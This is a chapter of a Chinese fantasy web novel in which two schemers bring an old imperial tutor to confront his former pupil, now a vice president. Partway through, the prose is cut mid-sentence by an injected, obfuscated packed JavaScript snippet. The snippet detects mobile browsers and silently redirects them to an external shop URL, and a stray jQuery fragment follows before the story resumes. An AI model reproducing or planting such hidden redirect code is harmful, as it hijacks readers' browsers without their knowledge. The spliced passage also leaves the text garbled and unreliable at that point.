听到罗斯帝国四个字，老人的呼吸又急促了起来，他就像被猫咪诱捕的可怜老鼠一样，目光顺着应柏桥手里的红宝石吊坠眼巴巴地移动。
但还是嘴硬：“那是谁？我只是个普通的开当铺的老人，没什么本事，也没有你们想要的东西。”他硬生生将自己的目光从那枚象征帝国昔日荣光的吊坠上挪开，眼里的光亮也一瞬即逝。
“那好吧，”那枚吊坠被收回了口袋，应柏桥惋惜地两手插兜，“我还以为，您会想知道诺尔曼·罗斯的近况，毕竟他最近才被关了紧闭。”
“什么！”纵使克莱蒙斯曾是三朝元老，还是被激得惊叫出声。
“哪个畜生干的！”老人突然像发怒的老雄狮一般，不顾形象地冲上去试图拽住应柏桥的衣领狠狠质问——
却被一只手轻而易举地拦下。
“现在是你有求于我们，”一双冷清的眼睛注视着克莱蒙斯，手上的力道却压得老人手腕生疼，秦铮冷淡地开口，“别太过分了。”
“老人家，我能理解您心情激动，但请稍微冷静一下，让我跟您讲述事件原委好吗？”应柏桥走上前，将手轻轻搭在秦铮的肩膀安抚对方，温润的眼神挨个扫过秦铮和克莱蒙斯，让两人都冷静了些。
“希望您听完我的讲述后，可以帮我们一个忙，而这个，就是对您的回报。”
那串红宝石吊坠又出现在克莱蒙斯面前，他颤颤巍巍地伸出手去触碰，全然没有注意到，自己手上的钳制不知何时放松了。
这串吊坠是秦铮调取了众多信息和卖武器积累来的人脉，才从黑市拍卖场拿下的，前罗斯帝国皇帝的礼服上最耀眼的一件装饰。
趁着老人欣赏故人旧物的空当，秦铮瞄了应柏桥一眼，后者接收到他带着些怒意的视线，笑眯眯地捏了捏他的肩膀。
又是捏小动物一般的力道。秦铮莫名有种自己被看穿的恼火。他还没想明白自己对应柏桥时常产生的莫名情绪，并不想被他如此熟稔地糊弄过去。
于是，默默往旁边挪了挪，秦铮试图脱离应柏桥的“掌控”。至少保持个半米的距离才好。
然而，应柏桥只一句话就让他乖乖定住了。
对方睁着那双无辜下垂的眼眸，棕黑色的眼睛泛着金色的光泽，即使比秦铮稍微高了些，仍然让他产生一种“一拳就能打翻”的错觉。
两瓣薄唇微微抿起，而后又用气声开口：“铮铮离我那么远，不怕待会克莱蒙斯又暴起伤人吗？”
“毕竟待会我要说的内容，肯定会让他更愤怒，甚至失去理智。”那双眼睛眨巴了两下，将选择权交给了秦铮。
秦铮哪还有选择，听到“伤人”二字便已经停下了脚步，再次走到应柏桥身边，甚至挡在了对方面前。
“我不会让他伤到你。”他眼神凛冽，紧紧盯着表面无害，只一味望着吊坠愣神的克莱蒙斯，全然忘了自己几秒前“保持距离”的决定。
自然，也没有注意到他身后的应柏桥，露出了“阴谋得逞”的微笑。
克莱蒙斯从回忆中醒过神来，转头望向那两人，只见一个唇边挂着不怀好意的笑，另一个一副“敢动手就杀了你”的表情，不禁愣住了。
“你们……这是什么意思？”
“真是欺人太甚！畜生不如！”半个小时后，克莱蒙斯的小店里传出一声怒吼，老人虽然年岁已高，但嗓音依然中气十足。
他既是帝国的国师，也是诺尔曼曾经的老师，对这位年少登基的小皇帝寄予了深深的期望和怜爱，几乎当作自己的半个儿子来看。
即使后期诺尔曼由于政斗被流放到联邦，他依然挂念着诺尔曼，两人曾保持了一段时间的书信往来。
但对着诺尔曼逐渐将重心转移到里尔的事业上，两人的联络就越来越少了。克莱蒙斯以为，这是因为自家小皇帝正在忙于事业，谁知道原来是在给别人做嫁衣！
再次收到诺尔曼的消息，就是罗斯帝国彻底倒台那天，老人眼睁睁地看着自己最引以为傲的，充满野心的学生，半跪在地上，将皇冠捧给了那个他从未听过的愣头青！
克莱蒙斯不能接受诺尔曼近乎“叛国”的行为，也不能接受他几乎失去理智和思想地成为了他所谓的“爱人”的走狗，因此单方面与诺尔曼断绝了关系。
但讽刺的是，诺尔曼本人对此似乎并不在意。
自从爱上里尔后，他就像忘记了老师和曾经的亲友一般，在作者的笔下成为了一个只为里尔服务的“无脑工具人”。从此，他只为里尔悲，只为里尔喜，理想，国家，亲朋，都失去了意义。
可是，克莱蒙斯听到诺尔曼成为副总统后的待遇，仍然不能接受！
“这群联邦的废物！怎么敢让罗斯帝国的皇帝给他们打工！又是压榨他的精神力，又是让他出面解决政治危机，那要这帮饭桶做什么！”
“还有那个里尔，他之前写信来的时候，我就觉得这个人不靠谱！只能看到诺尔曼如何如何帮了他，他对诺尔曼的理想和事业似乎毫不关心……”老人愤愤地念叨起来。
“那这么说，您愿意帮我们了？让诺尔曼·罗斯重新找回本心。”
“哼，我还没原谅那小子。我只是不想看着罗斯帝国曾经的荣耀被玷污罢了！”老人撇过脸，依旧嘴硬，但眼眶里不断转动的眼珠暴露了他的担心和忧虑。
“好好好，那您见到他之后务必狠狠骂他一顿。”应柏桥和秦铮对视了一眼，看来这步棋已经布好了。
深夜，联邦政府的副总统办公室迎来了三位不速之客。
晚饭时间，诺尔曼听见下属敲门的声响，放下了笔，走到门口去拿自己的盒饭。这些日子他一直待在办公室，饭菜都是由下属们送来。
倒不是里尔禁止他离开这里，只是他需要一段时间自己静一静。况且，他挪用公款的事传得纷纷扬扬，让他在军部本就不好的“总统疯狗”评价，雪上加霜。
然而，他关上门的那一霎那，立刻察觉到屋内异常的空气波动。
“唰——”精神力触手朝着波动的方向冲去，三下五除二便将几个不速之客绑了起来。
“嗯？”诺尔曼不禁扬眉，他本以为对面是虫族或者里尔的政敌派来的刺客，没想到连反抗都没有，任凭他捆住然后拖到了办公室的空地上。
“你们……”还没说完讯问的台词，诺尔曼的喉咙就像被卡住了一样，生生地止住了。
他的眼神变得深沉下来，盯着面前这位白发的老人：“克莱蒙斯？”
他脸上半永久的微笑微微僵住，原本想要抬起的手臂也垂在了身侧，手指不易察觉地弯曲了一下，难得地显出了一分细微的失态。
不过，这小小的变化并没有被捆在地上的老人察觉，他干枯的嘴唇颤抖着，即使在应柏桥和秦铮面前说了一堆的狠话，但真见到了曾经最引以为傲的学生，帝国最后的明星，他还是红了眼眶。
“好久不见了，克莱蒙斯。”诺尔曼显然也回忆起了曾经那段意气风发，和老师共商国是的绚烂时光，他的语气不由自主地柔和了一些。
“好久不见，陛下。”老人沙哑地回答，嗓音里是经历了帝国起起落落，物是人非后的沧桑和感慨。
“是我待客不周，”手指轻挥，诺尔曼松开了精神力触手。
但还没等三人站起，说明来意，副总统阁下就毫不客气地伸出精神力丝，又将应柏桥和秦铮绑在了办公桌的桌脚上。
“陛下，不，副总统阁下，他们是我的朋友，并没有恶意……”克莱蒙斯见状，赶忙站起，走上前一步，劝说诺尔曼。
但即使有些担忧应柏桥和秦铮，他依然端得前朝老臣的礼节，恭恭敬敬地站在诺尔曼面前，脊背微弯，不敢有半点造次。
下一秒，一双苍白的手便将他扶了起来，老臣有些激动地抬头与诺尔曼对视，却在看见对方那双浅粉色的眼睛时，愣住了。
诺尔曼的眼中虽然带着些许久别重逢的笑意，但更多的是冰冷和审视的意味，年少君王身上的那点人情味，在如今的联邦副总统身上几乎看不见分毫。
他就像是金属制造出的机器一般，一颦一笑都是由精密的仪器操控而成，仿佛这世间再无能打动他的事物。
“我知道你不会害我，克莱蒙斯，”那双薄唇虽然说出了安抚的话语，但诺尔曼的表情却像是在说他一点也不信任对方，“可是，我要对我自己和我同事的安全负责。”
“尤其是，”他的眼睛犹如最精准的扫描仪，在应柏桥和秦铮身上无情地扫视了一遍，从身高，体态，到外貌，动作，“他们俩看上去很像是最近在联邦为非作歹的两个犯罪分子。”
戴着白手套的手掌轻轻拍过克莱蒙斯，诺尔曼从老人身边缓步走了过去，站在被捆住的两人面前。
他的声音并不低沉，却莫名让人感受到了无形的压力：“或许你们可以给我个解释，冒充军部官员，以及，擅闯副总统办公室。”
“陛下！”克莱蒙斯试图上前阻拦，但诺尔曼只一个抬手的动作，就让他站回了原地，只是有些焦虑地看向自己的君主。
“叙旧的话，还是待会再说。现在是审问嫌犯的时间。”年轻的副总统轻点了两下地板，澄亮的鞋尖正正好落在了坐在地上的两人面前。
“呵，副总统阁下就这么没有教养吗？都不愿意听自己曾经的老师先说两句？”应柏桥毫不畏惧地与诺尔曼对视，他微微一笑，带着些许挑衅。
精神力丝毫不犹豫地收紧，有一截丝线甚至爬上了应柏桥的脖颈，缠绕了一圈。警告的意味昭然若揭。
和应柏桥背靠背的秦铮，立刻扭过头去查看对方的状况，只见应柏桥的脖子由于少许缺氧而微微暴起青筋。
“应柏桥！”秦铮失声喊了出来。他恶狠狠地瞪着诺尔曼，就像是看见了天敌的狼崽一般，牙齿被咬得喀喀作响，恨不得立刻暴起威胁对方松开精神力丝。
“很显然，克莱蒙斯还记得我曾经是他的君主。而且，即便在如今的制度下，我也是联邦的副总统，代表着政府的尊严和权威。”诺尔曼对秦铮宛如小狗发怒般的威慑视而不见，稍微松开了精神力丝，给应柏桥一个回话的空歇。
“不如，还是听他说两句吧，”应柏桥喘了两口气，恢复了一下呼吸的节奏，随后反手摸上了秦铮的手指，快速摩挲了两下表
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171796|196838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
示安抚，“相信我，副总统大人，我们之前能让你查不出任何信息，现在也可以在你的眼皮子底下逃走。”
“之所以没走，只是希望你能和克莱蒙斯好好谈谈。”他将眼神递到了诺尔曼身侧的克莱蒙斯身上，对方已经差不多冷静了下来，接收到他的讯息，立刻比了个手势。
诺尔曼挑眉，侧身看向克莱蒙斯，对方已经迫不及待想要开口了。
目光又移到了应柏桥身上，随后再次扫视了一眼眼神诚恳的老人，诺尔曼这才纡尊降贵地回答：“好吧，那么克莱蒙斯，我的老师，你想要说什么？”
特意强调的这句“老师”，却让克莱蒙斯更紧张了些，他在心里苦笑了一声：即使如何怨怼诺尔曼不争气，见到他之后能想起的，却还是当年英姿勃发的那位君王。
他将头颅低了下去，摆出羔羊般引颈就戮的模样，然而话语却掷地有声：“请陛下重振罗斯帝国荣光！”
副总统阁下一怔，随后眼神幽深了下来，听克莱蒙斯接下来的话语。
“您可知道，自从里尔当选总统以来，我国的难民人数就在不断增长，街上甚至出现了以前从未有过的流浪汉群体！纵然，这与虫族的战争也有关系，但从指标上来看，当前的难民率已经超过了以往任何一次战争带来的数值，这说明里尔的政策本身就是有问题的！”老人像倒豆子一般把积压在心底的话都倾吐了出来。
“而且，这个数值还在不断上升。虽然官方新闻声称情况在不断变好，但这瞒不过我，”他直直地看向诺尔曼，“我们的情况一直在变糟，不管是对前帝国人民，还是联邦的民众而言。”
“我不明白您作为副总统为何没有注意到这点，是因为被边缘化了吗？又或者，您已经被里尔迷惑了神智？”说到这个，老人又狠狠吐出一口浊气，眼神里充满了悲哀。
“陛下，里尔实非良人，我已经听那两位说了，您在他手下，简直被蹉跎得不似人形！您真是糊涂啊！”话口子一打开，克莱蒙斯立刻将积攒的不满一股脑说了出来。
“况且，即使是作为辅佐的对象，里尔·格里奇也是绝对不称职的！我不信您看不出，他的政策有多漏洞百出，如果不是您兜底，他怎么可能合并联邦和帝国，还成为了地球的第一掌权人！”
诺尔曼听到那句“我不信”时，眼睫下意识地颤动了一下，但很快又恢复了那副漫不经心的模样，甚至听到最后时，嘴角挂起了有几分森冷的笑意。
“这就是你们想让我听的？”他转过头看向应柏桥和秦铮，就像是一具冰冷的审判雕像，不带感情的眼珠让人脊背发凉，“让我听着我的爱人是如何被昔日老师侮辱，让我看到我的老师是如何被你们洗脑的？”
“真有意思啊，哈哈哈……”诺尔曼似乎真心实意地感到好笑，但那笑声却让在场的三个人都鸦雀无声，就像是中了蛇女美杜莎的石化视线一般死寂。
终于，诺尔曼笑完了。一旁的克莱蒙斯以为对方已经恢复正常，想要再次开口。
“陛下……”
“别喊我陛下了，克莱蒙斯。”诺尔曼的双眼如同无机质的玻璃一般，看得克莱蒙斯心里发寒，那点重逢时的喜悦和往日相处的温情，似乎真的在对方的几句话中荡然无存。
“看在过去的情分上，离这两个联邦的叛徒远点，我不会追究你对总统阁下不敬的事。”
“对他不敬！你是说里尔那个废物……咳、咳咳。”老人目眦尽裂，他不敢想象这种话是诺尔曼说出的，但还没等他冲上前质问，就被诺尔曼的精神力触手狠狠锁住了咽喉。
“我说过，不要再对总统不敬。他是我的爱人，看在我的份上，也对他放尊重点。”诺尔曼顶着克莱蒙斯不敢置信的目光，用触手堵住了他的嘴，捆住手脚，和应柏桥秦铮扔到了一处。
指尖在光脑上轻点了几下：“我让下属带你出去，以后别再来了，我就当你的这些话没有说过。”
“唔，唔唔！”克莱蒙斯奋力地挣扎着，期待着曾经视如己出的孩子，能够流露出哪怕一点犹豫或者不舍的情绪。
可惜并没有。诺尔曼看都没看他一眼，输入完指令后，就看向了应柏桥和秦铮两个人，他不紧不慢地开口：
“按道理，我应该将你们送到联邦最高监狱，好好审问一番。但你们俩让我感到很危险，所以……”
死亡的精神力还未落下，只听见“砰”地一声，两个嫌犯和克莱蒙斯就一起消失在了诺尔曼的视线中。桌脚边空荡荡的，就像从未有人闯入。
“副总统阁下，请问发生了什么事！”下属看到简讯后立刻赶了过来，却发现男人站在办公室中央，眼神晦暗不明。但办公室内的陈设如常，没有任何异样。
“没事了，你出去吧。”诺尔曼转过身，坐回了办公桌前。
下属愣了一下，在心里嘀咕这个副总统怕不是紧闭久了，故意找他们这些牛马的茬。
但表面上，他还是顺从地应了一声，退出了办公室。只是抬起头的一瞬间，看到副总统桌上的文件时，脚下的动作一顿。
那桌上的文件，赫然写着“补给站”和“暂不关停”的字样。